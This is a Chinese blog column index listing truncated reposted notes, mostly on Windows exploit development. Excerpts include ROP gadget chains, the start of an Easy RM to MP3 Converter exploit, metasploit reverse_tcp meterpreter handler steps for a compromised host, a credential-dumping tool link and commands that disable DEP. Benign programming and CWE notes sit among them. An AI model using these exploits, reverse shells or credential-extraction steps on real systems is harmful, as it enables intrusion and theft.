thesum的专栏

转载 web.config加密解密方法

1.用.net Reflector查看代码2.在任意执行sql的地方,找到连接到数据库的语句,如DBData.GetDataDBCommand();3.进入DBData.GetDataDBCommand();,会出现DBCommand(xx.DataDBType, xx.DataDBConnString);4.xx.DataDBConnString就是解密后的内容

转载 搜索数据库某列名

use 指定数据库;select sysobjects.name as tablename,syscolumns.name as columnnamefrom syscolumns join sysobjects on sysobjects.id = syscolumns.idwhere syscolumns.name like '%此处为列名%'

转载 ftp上传文件

================保存为ftp.txt========open iprootpassput c:\downloads\xx.rarbye========================然后cmd运行ftp -i -s:c:\downloads\ftp.txt

转载 RWMC：利用PowerShell提取Windows账号密码的利器

http://www.freebuf.com/tools/94559.htmlhttps://github.com/giMini/RWMC/tree/master/Reveal-MemoryCredentials

转载 表格

转载 创业板VOL-MY 10点研究

成功案例日期UpVsDown大盘UpVsDown（不计开盘）大盘UpVsDown（计开盘） 大盘低于-1%昨天B是否大涨大盘开口(昨天)10点指数距离开盘涨幅       2015.12.3 2.74 (1.74)1.111.11否否-1.1(1.7)  

转载 use after free 漏洞的利用方法（堆转堆栈然后rop）

http://drops.wooyun.org/papers/4077

转载 rp++ find ROP sequences

https://github.com/0vercl0k/rprp++ is a full-cpp written tool that aims to find ROP sequences in PE/Elf/Mach-O x86/x64 binaries. It is open-source and has been tested on several OS: Debian / Win

转载 汇编直接转换为C语言 Hex Rays Decompiler

汇编直接转换为C语言 Hex Rays Decompiler

转载 MFC的CArray使用

http://www.doc88.com/p-680756540694.html

转载 VC++ListBox(列表框)的使用

ListBox的操作比较简单1添加数据声明控件变量的类别为Control,变量类型为CListBox,变量名为m_ListBox_Content.m_ListBox_Content.AddString(_T("123"));m_ListBox_Content.AddString(_T("汉字"));m_ListBox_Content.AddString(_T("English"));m_L

转载 字体漏洞

http://netsecurity.51cto.com/art/201507/483503.htm

转载 详细解说STL string

http://blog.chinaunix.net/uid-20357359-id-1963246.htmlc_str 取得C风格的const char* 字符串    list::iterator Iterator;            Iterator=Player.begin();            printf("Player %s\n",Iterator

转载 error C2065: “list”: 未声明的标识符

http://blog.youkuaiyun.com/friendan/article/details/9033577加入using namespace std;

转载 CWE-469: Use of Pointer Subtraction to Determine Size

http://cwe.mitre.org/data/definitions/469.htmlExample 1The following example contains the method size that is used todetermine the number of nodes in a linked list. The method is passed

转载 CWE-193: Off-by-one Error

http://cwe.mitre.org/data/definitions/193.html

转载 CWE-134: Uncontrolled Format String

http://cwe.mitre.org/data/definitions/134.htmlExample 2The following code copies a command line argument into a bufferusing snprintf().(Bad Code)ExampleLanguage:C int main(in

转载 CWE-234: Failure to Handle Missing Parameter

http://cwe.mitre.org/data/definitions/234.htmlExample 1(Bad Code)Example Languages:C and C++ foo_funct(one, two);...void foo_funct(int one, int two, int three) {p

转载 CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

cwe.mitre.org/data/definitions/362.htmlExample 2The following function attempts to acquire a lock in order toperform operations on a shared resource.(Bad Code)ExampleLanguage:C 

转载 CWE-908: Use of Uninitialized Resource

http://cwe.mitre.org/data/definitions/908.htmlThe following code intends to concatenate a string to a variable andprint the string.(Bad Code)ExampleLanguage:C char str[20];st

转载 CWE-681: Incorrect Conversion between Numeric Types

http://cwe.mitre.org/data/definitions/681.html函数的返回类型跟定义类型不一致！导致返回被隐蔽的转换！In this example, depending on the return value ofaccecssmainframe(), the variable amount can hold a negative value when

转载 导出内容到文件

int LogToFile(char* pFilePath, WORD* pBuffer){    int nRetCode = 0;    FILE* pFile;    pFile = fopen(pFilePath, "a+");    if (NULL == pFile)    {        printf("Fail to open file!\n");

转载 ReadProcessMemory与WriteProcessMemory用例分析 (转载)

http://blog.youkuaiyun.com/shifters/article/details/6750353

转载 反弹stage shellcode到meterpreter

1.在肉鸡上运行stage1的shellcode2.在kali上运行metsploit framework3.执行下面的命令msf > use multi/handlermsf exploit(handler) > set payload windows/meterpreter/reverse_tcppayload => windows/meterpreter/revers

转载 wireshark 实用过滤表达式（针对ip、协议、端口、长度和内容）

首先说几个最常用的关键字，“eq” 和 “==”等同，可以使用 “and” 表示并且，“or”表示或者。“!" 和 "not” 都表示取反。　　一、针对wireshark最常用的自然是针对IP地址的过滤。其中有几种情况：　　（1）对源地址为192.168.0.1的包的过滤，即抓取源地址满足要求的包。　　         表达式为：ip.src == 192.168.0.1　　（

转载 编写immunity debugger插件

__VERSION__ = '2.0'__REV__ = filter(str.isdigit, '$Revision: 557 $')__IMM__ = '1.8'__DEBUGGERAPP__ = ''arch = 32win7mode = False# try:#     import debugger# except:#     passtry:

转载 编写Immunity Debugger插件的教程

https://www.corelan.be/index.php/2010/01/26/starting-to-write-immunity-debugger-pycommands-my-cheatsheet/

转载 安全类书籍推荐

http://riusksk.blogbus.com

转载 数组越界溢出利用2--修改前方的某个字符串的长度位，将长度位改为较大数值

http://bbs.pediy.com/archive/index.php?t-155555.html利用该数组越界漏洞，更改option cache前方的某个字符串的长度位，将长度位改为较大数值，这样该字符串就可以读取该字符串后面的所有数据，因为长度没有限制。通过获得该功能，先将该字符串所在虚拟空间的准确位置测算出。通过获得的准确位置和内存任意地址读取功能，获得刚才option数组的基地址

转载 数组越界溢出利用--改写对象虚函数表

http://www.isclab.org/archives/2014/11/2830.html

转载 rop_gadgets使用方法

利用mona.py可以生成!mona rop -m msvcr71.dll -n这部分gadget能够将后面的shellcode变成可执行的代码段！，后面直接跟shellcode就ok了rop_gadgets = [    0x7c346c0a,    # POP EAX # RETN (MSVCR71.dll)    0x7c37a140,    # Make EAX

转载 Universal DEP/ASLR bypass with msvcr71.dll and mona.py

转载自：https://www.corelan.be/index.php/2011/07/03/universal-depaslr-bypass-with-msvcr71-dll-and-mona-py/IntroductionOver the last few weeks, there has been some commotion about a universal

转载 bypass dep egg hunter

https://www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/#-------------------------------------------------------------------#corelanc0

转载 适合中文版本的Easy RM to MP3 Converter rop 过depexploit

#------------------------------------------------------------#ROP based exploit for Easy RM to MP3 Converter#written by corelanc0d3r - http://www.corelan.be#-------------------------------------

转载 Easy RM to Mp3 Converter测试rop的代码

my $file="rop.m3u";my $buffersize=26094-20-8-4;my $junk="A"x$buffersize;my $eip=pack('V',0x100102DC);#pointer to retmy $junk2="AAAA";#compensate,to make sure esp points at first rop gadgetmy

转载 mona常用命令

!mona rop -m msvcr71.dll -n -cpb '\x0a\x0d'

转载 命令行下修改DEP

bcdedit.exe /set nx OptInbcdedit.exe /set nx OptOutbcdedit.exe /set nx AlwaysOnbcdedit.exe /set nx AlwaysOff

转载 如何查看程序是否支持ASLR

使用工具PE EXPLOER打开，查看DllCharacteristics是否包含0x40就可以知道是否支持ASLR

转载 查找pop pop ret call dword ptr [esp+nn]指令的方法

Immdbg的pvefindaddr插件可以找到这种指令

转载 enter,leave汇编的作用，这个对理解UAC有用

enter语句的作用是:push ebpmov ebp,espsub esp,xxxleave语句的作用是add esp,xxxpop ebp